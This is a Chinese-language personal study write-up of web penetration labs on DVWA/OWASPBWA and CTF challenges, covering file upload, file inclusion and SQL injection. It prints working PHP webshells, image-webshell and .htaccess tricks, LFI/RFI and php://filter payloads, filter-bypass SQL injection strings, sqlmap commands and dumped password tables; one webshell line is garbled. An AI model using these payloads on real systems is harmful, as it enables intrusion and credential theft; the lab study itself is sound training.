Web渗透

文章知识点建立在OWASPBWA靶机与CTFHub实验的基础上。

总实验准备:

kali虚拟机、OWASPBWA靶机、win10、XShell

1. 文件上传漏洞

1.1 文件上传漏洞[低]

1
一句话木马,中国菜刀

靶机一定要用NAT连接,桥接方式不安全。因为用靶机复制不了不方便做笔记,所以我用XShell将靶机终端连接在物理机上。查看靶机的IP地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@owaspbwa:~# dhclient eth0
There is already a pid file /var/run/dhclient.pid with pid 2890
killed old client process, removed PID file
Internet Systems Consortium DHCP Client V3.1.3
Copyright 2004-2009 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/eth0/00:0c:29:40:b1:22
Sending on LPF/eth0/00:0c:29:40:b1:22
Sending on Socket/fallback
DHCPREQUEST of 192.168.137.146 on eth0 to 255.255.255.255 port 67
DHCPACK of 192.168.137.146 from 192.168.137.254
bound to 192.168.137.146 -- renewal in 685 seconds.

在物理机输入靶机的IP地址192.168.137.146,在选项中找到Damn Vulnerable Web Application进入,用户名和密码均为admin。在左侧找到upload,可以试着选择文件上传,但文件大小不能过大,否则上传失败。在右下角处查看后端源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';

}

}
?>

源码告诉我们上传的文件没有限制是图片,并且它保存的路径在当前目录的/hackable/uploads上。我们将一句话木马shell1.php文件上传到系统中。

1
<?php @eval($_POST['caidao']);?>

打开中国菜刀,右键添加地址:http://192.167.137.146/dvwa/hackable/uploads/shell1.php,后面小框填$_POST[]中的内容,即caidao。选中地址右键就可以开始搞事情了。

在菜刀中添加地址的下面有个配置框,如果知道系统的数据库密码,还可以查看系统的数据库。

1
2
3
4
<T>MYSQL</T>
<H>loaclhost</H>
<U>root</U>
<P>owaspbwa</P>

1.2 文件上传漏洞[中]

1
BurpSuite,一句话木马,中国菜刀

在左侧DVWA Security可以选择安全性,这次选中级。

查看一下后端源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';

}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>

我们发现多添加了一个条件判断,上传mime类型是image/jpeg,即只能上传后缀为.jpg和.jpeg的文件,并且文件大小要小于100000b。直接上传一句话木马shell1.php肯定是不行的。

先将之前放进uploads的所有文件删除:

1
2
3
4
5
6
7
8
9
10
root@owaspbwa:~# cd /var/www/dvwa
root@owaspbwa:/var/www/dvwa# ls
about.php docs hackable login.php README.md vulnerabilities
CHANGELOG.md dvwa ids_log.php logout.php robots.txt
config external index.php phpinfo.php security.php
COPYING.txt favicon.ico instructions.php php.ini setup.php
root@owaspbwa:/var/www/dvwa# cd hackable/uploads
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
dvwa_email.png shell1.php
root@owaspbwa:/var/www/dvwa/hackable/uploads# rm -rf *

记住记住!!删除当前目录下所有文件的命令是rm -rf *,不是rm -rf /*,这是删库跑路!!血的教训…

所以我们要用到burpsuite,在火狐浏览器中设置为本地代理后,将发送一句话木马shell1.php的包进行拦截,将包中的Content-Type改为image/jpeg伪造成图片类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
POST /dvwa/vulnerabilities/upload/ HTTP/1.1

Host: 192.168.137.146

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------115689382727075237242790069120

Content-Length: 509

Origin: http://192.168.137.146

Connection: close

Referer: http://192.168.137.146/dvwa/vulnerabilities/upload/

Cookie: security=medium; PHPSESSID=rdm26d89oh6rmfrfi1khqpkul7; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

Upgrade-Insecure-Requests: 1



-----------------------------115689382727075237242790069120

Content-Disposition: form-data; name="MAX_FILE_SIZE"



100000

-----------------------------115689382727075237242790069120

Content-Disposition: form-data; name="uploaded"; filename="shell1.php"

Content-Type: application/x-php //改为image/jpeg



<?php @eval($_POST['caidao']);?>


-----------------------------115689382727075237242790069120

Content-Disposition: form-data; name="Upload"



Upload

-----------------------------115689382727075237242790069120--


再发送出去,系统以为我们发送的是图片类型,但实际我们发送的是一句话木马,再用中国菜刀就可以了。

本来想用kali直接渗透,因为Kali本机就装有burp suite,所以很方便,但不会用kali的weevely——类似于中国菜刀的程序,故放弃。

在物理机装好burpsuite,弄好代理,就跟上述操作一样。

1.3 文件上传漏洞[高]

查看后端源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){


if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';

}
}

else{

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

}
}

?>

这次的条件判断语句是直接检查文件的后缀,上面两种方法都不行。那我们只能是上传图片,如果图片中含有木马,那我们也可以用中国菜刀拿下这个系统。

攻击方法要与文件包含漏洞[低]结合。

1.4 一句话木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
shell1.php
<?php @eval($_POST['caidao']);?>

shell2.php
<?php eval($_REQUEST['cmd']);?>
http://192.168.137.146/dvwa/hackable/uploads/shell2.php?cmd=system("pwd");

shell3.php
<?php system($_REQUEST['chopper']);?>
http://192.168.137.146/dvwa/hackable/uploads/shell3.php?chopper=ls /

shell4.jpg
shell4.php
<?php ?>');?>
copy hello.jpg/b+shell4.php/a shell4.jpg

shell5.phtml
<script language='php'>@eval($_POST['caidao']);</script>
<script language='php'>system('cat /flag');</script>

shell6.php
#加上图片文件头

1.5 weevly用法

1
2
weevly generate [password] [filename]	生成一个木马文件
weevly [url to file] [password] 连接到服务器

1.6 .htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

构造.htaccess文件:

1
2
3
4
<FilesMatch "sj">
SetHandler application/x-httpd-php
</FilesMatch>
#FileMathch参数即为文件名的正则匹配,标签内的意思是将sj文件当成php文件解析

构造sj文件:

1
2
3
4
<?php passthru("ls /"); ?>
<?php passthru("ls /var/www/html"); ?>
<?php passthru("cat /var/www/html/flag.php"); ?>
<?php passthru("find / -name flag"); ?>#这个不行

1.7 00截断

在url中%00表示ascii码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。

参考如下文章:https://writeup.ctfhub.com/Skill/Web/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/gr98bRUp63TUwcHiaLZzEf.html

2. 文件包含漏洞

文件包含类似于C语言的include头文件,python的import文件,也类似于函数调用。

2.1 本地文件包含(LFI)

URL格式如下:

1
http://7ce7fcde-b026-4e63-a0f1-11442ec86169.node4.buuoj.cn:81/?file=hint.php?../../../../../ffffllllaaaagggg
1
2
3
4
5
6
7
http://192.168.137.146/dvwa/vulnerabilities/fi/index.php?page=include.php

#include.php和a.jpg与index.php在同一目录
http://192.168.137.146/dvwa/vulnerabilities/fi/index.php?page=a.jpg

#/ect/passwd与index.php路径不同,也可以执行
http://192.168.137.146/dvwa/vulnerabilities/fi/index.php?page=/etc/passwd

URL中带参数,定位到服务器的某个目录某个文件中。

1
2
3
4
5
6
7
WAF的问题:WAF不允许num传入字母,那我们可以在num前加个空格来绕过WAF
/calc.php? num=print_r(scandir('/')); 列出参数目录中的文件和目录,这里由于单引号和斜杠被过滤了,那就用chr()绕过,chr(47)就是斜杠/
/calc.php? num=print_r(scandir(chr(47)));
/calc.php? num=print_r(file_get_contents('/flagg')); 读取flagg文件
/calc.php? num=print_r(file_get_contents(chr(47).'flagg')); 如果只绕过/,后面的引号又被过滤掉了,所以将所有字符都换成chr()
这里/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)来进行绕过
/calc.php? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); .表示连接

有时候下载下来的txt文件貌似找不到flag,但将txt文件放在URL中就可找到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
读敏感文件
?file=/etc/passwd

利用封装协议读源代码,能看到php文件源码
?file=php://filter/read=convert.base64-encode/resource=index.php

包含图片Getshell
在上传的图片中写入恶意代码,然后用本地文件包含调用,就会执行图片里的php代码

包含日志文件Getshell
路径
apache:/var/log/apache2/access.log
nginx:/var/log/nginx/access.log

session文件包含Getshell
?file=/var/log/nignx/access.log

照片木马制作
copy 1.jpg/b + 1.php/a 2.jpg

2.2 远程文件包含(RFI)

URL格式如下:

1
http://192.168.137.146/dvwa/vulnerabilities/fi/index.php?page=http://web_server/b.jpg

PHP的配置选项allow_url_include为ON的话,则include/require函数可以加载远程文件,这种漏洞被称为”远程文件包含漏洞”,远程文件包含更容易实现。

allow_url_fopen = On 是否允许打开远程文件; allow_url_include = On 是否允许include/require远程文件。

1
http://challenge-d46d08980443a4ef.sandbox.ctfhub.com:10080/?file=http://你的服务器地址:8000/shell1.php

2.3 利用php://filter伪协议

如果想要读取本地的PHP文件,可以用php://filter伪协议。

当与包含函数结合时,php://filter流会被当作php文件执行。这时,如果我们不想让它执行,只是想查看源码,可以对其进行编码。

1
http://2be338a6-7ba2-453a-b873-4b4b7a4b4221.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php

2.4 文件包含漏洞[低]

结合文件上传漏洞[高],我们用本地文件包含。思路是上传图片木马,即图片中包含生成木马的代码,如果系统有文件包含漏洞,就可以执行图片中的代码,生成木马。

利用php://fileter伪协议进行文件包含。

查看源码:

1
2
3
4
5
<?php

$file = $_GET['page']; //The page we wish to display

?>

$_GET函数表示参数会显示在地址栏上,默认地址为:

1
http://192.168.137.146/dvwa/vulnerabilities/fi/?page=include.php

准备一张小一点的图片hello.jpg,一个木马:

1
2
shell4.php
<?php ?>');?>

用cmd生成一个图片木马hi.jpg:

1
copy hello.jpg/b + shell4.php/a hi.jpg

将图片放入winhex拉到最下面就可以看到木马已经放进图片中了。(或者用记事本打开图片也能看到)

将图片上传后,去到文件包含漏洞页面,执行payload:

1
2
3
4
5
6
7
http://192.168.137.146/dvwa/vulnerabilities/fi/index.php?page=../../hackable/uploads/hi.jpg

//dvwa文件上传访问的目录
/var/www/dvwa/hackable/uploads

//dvwa文件包含访问的目录
/var/www/dvwa/vulnerabilities/fi

执行完后网页会出现一堆乱码,别管它,关键是会在/var/www/dvwa/vulnerabilities/fi目录下生成一个shell4.php文件,正是我们放进图片中的代码生成的一句话木马。

写入菜刀地址:http://192.168.137.146/dvwa/vulnerabilities/fi/shell4.php和密码,成功渗透。

远程文件包含

1
ip a	//查看IP地址:192.168.137.144
1
2
3
#将txt文件写进攻击机服务器的站点
vim /var/www/html/chopper.txt
<?php ?>');?>

可以打开http://192.168.137.144/chopper.txt试试,如果正常显示我们写进去的内容说明路径没错。

payload:

1
http://192.168.137.146/dvwa/vulnerabilities/fi/?page=http://192.168.137.144/chopper.txt

执行后在/var/www/dvwa/vulnerabilities/fi目录下生成一个shell4.php文件,成功。

2.2 文件包含漏洞[中]

查看源码:

1
2
3
4
5
6
7
8
9
<?php

$file = $_GET['page']; // The page we wish to display

// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);

?>

源码的意思是将参数中含有”http://","https://"替换成空,这时只要将限制字符串重写:

1
2
3
http://192.168.137.146/dvwa/vulnerabilities/fi/?page=httphttp://://192.168.137.144/chopper.txt

把中间的http://替换成空,前后一合并就可以访问到远程服务器

第二种方法是用本地文件包含来做,同[低]。

2.3 文件包含漏洞[高]

查看源码:

1
2
3
4
5
6
7
8
9
10
11
<?php

$file = $_GET['page']; //The page we wish to display

// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}

?>

基本锁死了。

小知识

robots.txt是爬虫的君子协议,说明哪些目录是不能爬的,一般直接在网址后面输入/robots.txt就可看到,但同时也有一点此地无银三百两的意思,说明这些目录很重要。

Ctrl + L清空终端界面

3. SQL注入

危害:

  1. 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露
  2. 网页篡改:通过操作数据库对特定网页进行篡改
  3. 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被篡改
  4. 服务器被远程控制:被安装后门

MySQL基础操作:

1
2
3
4
5
6
7
show databases;					查看数据库
use database_name; 使用数据库
show tables; 查看表
desc table_name; 查看表结构
select * from table_name; 查看表数据
create database database_name; 创建数据库
drop database database_name; 删除数据库

常用变量:

1
2
3
4
database()	查看当前数据库名	select database();
user() 查看当前用户 select user();
version() 查看版本 select version();
show variables like'%datadir%'; 查看安装路径
1
2
3
4
union select 1,2,database()
union select 1,2,group_concat(table_name) from information_sehema.tables where table_schema=database()
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='xxx'
union select 1,2,group_concat(column1_name,column2_name) from xxx

information_schema库

information_schema是非常重要的库,是数据库字典,包含所有数据库的库信息,表信息。

查询数据库名为dvwa的所有表:

1
2
3
4
5
6
7
8
mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dvwa';
+--------------+------------+
| TABLE_SCHEMA | TABLE_NAME |
+--------------+------------+
| dvwa | guestbook |
| dvwa | users |
+--------------+------------+
2 rows in set (0.08 sec)

查询数据库名为dvwa的users表的所有列:

1
2
3
4
5
6
7
8
9
10
11
12
mysql> select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='dvwa' and TABLE_NAME='users';
+-------------+
| COLUMN_NAME |
+-------------+
| user_id |
| first_name |
| last_name |
| user |
| password |
| avatar |
+-------------+
6 rows in set (0.03 sec)

3.1 错误注入

3.1.1 SQL注入(低)

输入’——单引号,就是要让页面报错,说明它能够接受单引号,有注入点。

1
2
3
4
5
1' or 1=1#
1' union select 1#
1' order by 4 -- d
-1' union select 1,2,3 -- +
-1 union select 1,database()

有时会将select,from,or,where等关键字过滤,可以将这些关键字进行重写:

1
2
3
4
5
' ununionion seleselectct 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

' ununionion seleselectct 1,database(),group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

' ununionion seleselectct 1,database(),group_concat(id,username,passwoorrd) frfromom b4bsql#
过滤关键字 绕过方法之一 绕过方法之二 绕过方法之三
select 重写 大小写 selec\x74
or 重写 大小写 o\x72
union 重写 大小写 unio\x6e
空格 #、—、//、/**/、%00 %2520

输入’——单引号,就是要让页面报错,说明它能够接受单引号,有注入点。

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php    

if(isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

$i = 0;

while ($i < $num) {

$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';

$i++;
}
}
?>

在源码上可以看到我们输入的东西根据这条语句去查询:

1
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

意思是将我们输入的ID的名字显示出来,但如果输入‘ or 1=1 — ddd,整条语句变为

1
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1 -- ddd '";

输入的单引号与源码的单引号闭合,1=1永远为真,—是注释后面所有。1=1把所有元组显示出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ID: ' or 1=1 -- ddd
First name: admin
Surname: admin

ID: ' or 1=1 -- ddd
First name: Gordon
Surname: Brown

ID: ' or 1=1 -- ddd
First name: Hack
Surname: Me

ID: ' or 1=1 -- ddd
First name: Pablo
Surname: Picasso

ID: ' or 1=1 -- ddd
First name: Bob
Surname: Smith

ID: ' or 1=1 -- ddd
First name: user
Surname: user

但这个只局限于这张表的first_name和last_name,再也查不出其它东西来,于是我们可以通过联合查询,查询其他列甚至其他表。

在不知道源码的情况下,输入单引号页面报错,说明有注入漏洞。我们可以输入union试字段‘ union select 1 — d,页面报错:

1
The used SELECT statements have a different number of columns

‘ union select 1,2 — d,没报错,说明字段是2

1
2
3
ID: ' union select 1,2 -- d
First name: 1
Surname: 2

‘ union select user(),database() — d,获得当前用户和当前数据库:

1
2
3
ID: ' union select user(),database() -- d
First name: dvwa@localhost
Surname: dvwa

‘ union select table_schema,1 from information_schema.tables — dd,查询所有库名:

1
2
3
4
5
6
7
ID: ' union select table_schema,1 from information_schema.tables -- dd
First name: information_schema
Surname: 1

ID: ' union select table_schema,1 from information_schema.tables -- dd
First name: dvwa
Surname: 1

网页只显示了两个库,因为这个用户的权限只能看到这两个库。

‘ union select table_schema,table_name from information_schema.tables where table_schema=’dvwa’ — dd,查询dvwa库的所有表:

1
2
3
4
5
6
7
ID: ' union select table_schema,table_name from information_schema.tables where table_schema='dvwa' -- dd
First name: dvwa
Surname: guestbook

ID: ' union select table_schema,table_name from information_schema.tables where table_schema='dvwa' -- dd
First name: dvwa
Surname: users

‘ union select 1,column_name from information_schema.columns where table_name=’users’ — dd,查询users表中的列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ID: ' union select 1,column_name from information_schema.columns where table_name='users' -- dd
First name: 1
Surname: user_id

ID: ' union select 1,column_name from information_schema.columns where table_name='users' -- dd
First name: 1
Surname: first_name

ID: ' union select 1,column_name from information_schema.columns where table_name='users' -- dd
First name: 1
Surname: last_name

ID: ' union select 1,column_name from information_schema.columns where table_name='users' -- dd
First name: 1
Surname: user

ID: ' union select 1,column_name from information_schema.columns where table_name='users' -- dd
First name: 1
Surname: password

ID: ' union select 1,column_name from information_schema.columns where table_name='users' -- dd
First name: 1
Surname: avatar

知道表中的列名后,可以根据列查询对应列的数据,比如查询账号密码‘ union select user,password from users — dd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ID: ' union select user,password from users -- dd
First name: admin
Surname: 21232f297a57a5a743894a0e4a801fc3

ID: ' union select user,password from users -- dd
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' union select user,password from users -- dd
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' union select user,password from users -- dd
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' union select user,password from users -- dd
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' union select user,password from users -- dd
First name: user
Surname: ee11cbb19052e40b07aac0ca060c23ee

密码是MD5加密的,只要找个MD5解密网页就可知道正确密码。

如果我们需要的信息有4列,但系统给的字段只有2列,我们可以用concat()函数实现字符串合并,‘ union select password,concat(first_name,’ ‘, last_name,’ ‘, user) from users — dd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ID: ' union select password,concat(first_name,' ', last_name,' ', user) from users -- dd
First name: 21232f297a57a5a743894a0e4a801fc3
Surname: admin admin admin

ID: ' union select password,concat(first_name,' ', last_name,' ', user) from users -- dd
First name: e99a18c428cb38d5f260853678922e03
Surname: Gordon Brown gordonb

ID: ' union select password,concat(first_name,' ', last_name,' ', user) from users -- dd
First name: 8d3533d75ae2c3966d7e0d4fcc69216b
Surname: Hack Me 1337

ID: ' union select password,concat(first_name,' ', last_name,' ', user) from users -- dd
First name: 0d107d09f5bbe40cade3de5c71e9e9b7
Surname: Pablo Picasso pablo

ID: ' union select password,concat(first_name,' ', last_name,' ', user) from users -- dd
First name: 5f4dcc3b5aa765d61d8327deb882cf99
Surname: Bob Smith smithy

ID: ' union select password,concat(first_name,' ', last_name,' ', user) from users -- dd
First name: ee11cbb19052e40b07aac0ca060c23ee
Surname: user user user

在函数被过滤的情况下,可以选择堆叠注入,如:0’;show databases;#,也可以用contact()连接

1
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

3.2 时间盲注

输入单引号没有反应,但不一定它没有注入漏洞。可以试一下3’ and sleep(5)#,给它一个真条件3,闭合,再停留5秒,发现网页会加载5秒,说明有注入点。

3.2.1 SQL盲注[低]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ID: 3' union select user,password from users -- dd
First name: Hack
Surname: Me

ID: 3' union select user,password from users -- dd
First name: admin
Surname: 21232f297a57a5a743894a0e4a801fc3

ID: 3' union select user,password from users -- dd
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 3' union select user,password from users -- dd
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 3' union select user,password from users -- dd
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 3' union select user,password from users -- dd
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 3' union select user,password from users -- dd
First name: user
Surname: ee11cbb19052e40b07aac0ca060c23ee

3.3 堆叠注入

在函数被过滤的情况下,可以选择堆叠注入,如:0’;show databases;#。也可以用contact()连接:

1
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

3.4 自动化注入

kali中sqlmap一些用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
--batch Never ask for user input, use the default behavior
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--dbs 获取所有数据库
--current-db 获取当前数据库
--users 获取所有用户
--current-user 获取当前用户
-D databese_name --tables 获取database_name的所有表
-D databese_name -T table_name --columns 获取database_name的table_name的所有列
-D databese_name -T table_name -C column_name --dump 获取database_name的table_name的column_name的数据
--cookie=COOKIE 添加cookie

GET请求注入:

1
2
3
4
5
sqlmap -u http://challenge-9a6148b6244df91d.sandbox.ctfhub.com:10800/?id=1 --batch --tables

sqlmap -u http://challenge-9a6148b6244df91d.sandbox.ctfhub.com:10800/?id=1 --batch -D sqli -T flag --columns

sqlmap -u http://challenge-9a6148b6244df91d.sandbox.ctfhub.com:10800/?id=1 --batch -D sqli -T flag -C flag --dump

POST请求注入:

1
sqlmap -u http://challenge-9a6148b6244df91d.sandbox.ctfhub.com:10800 --batch --data="id=1&pwd=333"

遇到过滤情况:

1
sqlmap -u http://challenge-b025f09fc3033f00.sandbox.ctfhub.com:10800/?id=1 --batch --tables --tamper "space2comment.py"

脚本名:space2comment.py

作用:Replaces space character ‘ ‘ with comments /**/。

也就是用注释/**/替换空格字符’ ‘。

sqlmap 中的 tamper 脚本有很多,例如:equaltolike.py(作用是用like代替等号)、apostrophemask.py(作用是用utf8代替引号)、 greatest.py (作用是绕过过滤’>’ ,用GREATEST替换大于号)等。

3.4.1 自动化注入(低)

进入OWASP Mutillidae Ⅱ(不需要登录),选择左侧全部首一一栏,进入登录界面,随便输入错误的名字密码后,复制网页地址,用sqlmap查看网页是否有sql注入漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
sqlmap -u "http://192.168.137.146/mutillidae/index.php?page=user-info.php&username=91&password=%3Bohk&user-info-php-submit-button=View+Account+Details" -p username --batch		//只看username有无注入漏洞

[14:30:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, PHP, Apache 2.2.14
back-end DBMS: MySQL >= 5.0 //数据库、系统、php等都出来了表示有注入漏洞
[14:30:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.137.146'

//获得表中的数据
sqlmap -u "http://192.168.137.146/mutillidae/index.php?page=user-info.php&username=91&password=%3Bohk&user-info-php-submit-button=View+Account+Details" --batch -D nowasp -T accounts -C username,password --dump

Database: nowasp
Table: accounts
[24 entries]
+----------+--------------+
| username | password |
+----------+--------------+
| admin | admin |
| adrian | somepassword |
| john | monkey |
| jeremy | password |
| bryce | password |
| samurai | samurai |
| jim | password |
| bobby | password |
| simba | password |
| dreveil | password |
| scotty | password |
| cal | password |
| john | password |
| kevin | 42 |
| dave | set |
| patches | tortoise |
| rocky | stripes |
| tim | lanmaster53 |
| ABaker | SoSecret |
| PPan | NotTelling |
| CHook | JollyRoger |
| james | i<3devs |
| user | user |
| ed | pentest |
+----------+--------------+

如果SQL注入点没有经过登录就可找到,可以直接按照上述方法注入;如果需要登录,肯定不能通过提交方式去登录,因为你也不知道账号密码,所以要通过找cookie(cookie是前端,session是后端)去登录。这也是SQL注入[中、高],SQL盲注[中、高]的解决办法。

回到DVWA(需要登录)的SQL注入,随便输入一个错误数字,用火狐插件cookie监视器将这个网址的所有cookie复制下来(复制下来的是冒号,要改成等号),或者可以通过burpsuite抓包拿到cookie,再跑,结果成功渗透。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
sqlmap -u "http://192.168.137.146/dvwa/vulnerabilities/sqli/?id=99&Submit=Submit#" --batch --cookie="PHPSESSID=9nfdguaho24opqkkqca6ma4ji0;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -p id

[16:25:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0
[16:25:54] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.137.146'

//先找数据库
sqlmap -u "http://192.168.137.146/dvwa/vulnerabilities/sqli/?id=99&Submit=Submit#" --batch --cookie="PHPSESSID=9nfdguaho24opqkkqca6ma4ji0;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --dbs

available databases [2]:
[*] dvwa
[*] information_schema

//再找表
sqlmap -u "http://192.168.137.146/dvwa/vulnerabilities/sqli/?id=99&Submit=Submit#" --batch --cookie="PHPSESSID=9nfdguaho24opqkkqca6ma4ji0;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -D dvwa --tables

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+

//再找列
sqlmap -u "http://192.168.137.146/dvwa/vulnerabilities/sqli/?id=99&Submit=Submit#" --batch --cookie="PHPSESSID=9nfdguaho24opqkkqca6ma4ji0;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -D dvwa -T users --columns

Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| first_name | varchar(15) |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+------------+-------------+

//再找表中数据
sqlmap -u "http://192.168.137.146/dvwa/vulnerabilities/sqli/?id=99&Submit=Submit#" --batch --cookie="PHPSESSID=9nfdguaho24opqkkqca6ma4ji0;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" -D dvwa -T users -C user,password --dump

Database: dvwa
Table: users
[6 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| admin | 21232f297a57a5a743894a0e4a801fc3 (admin) |
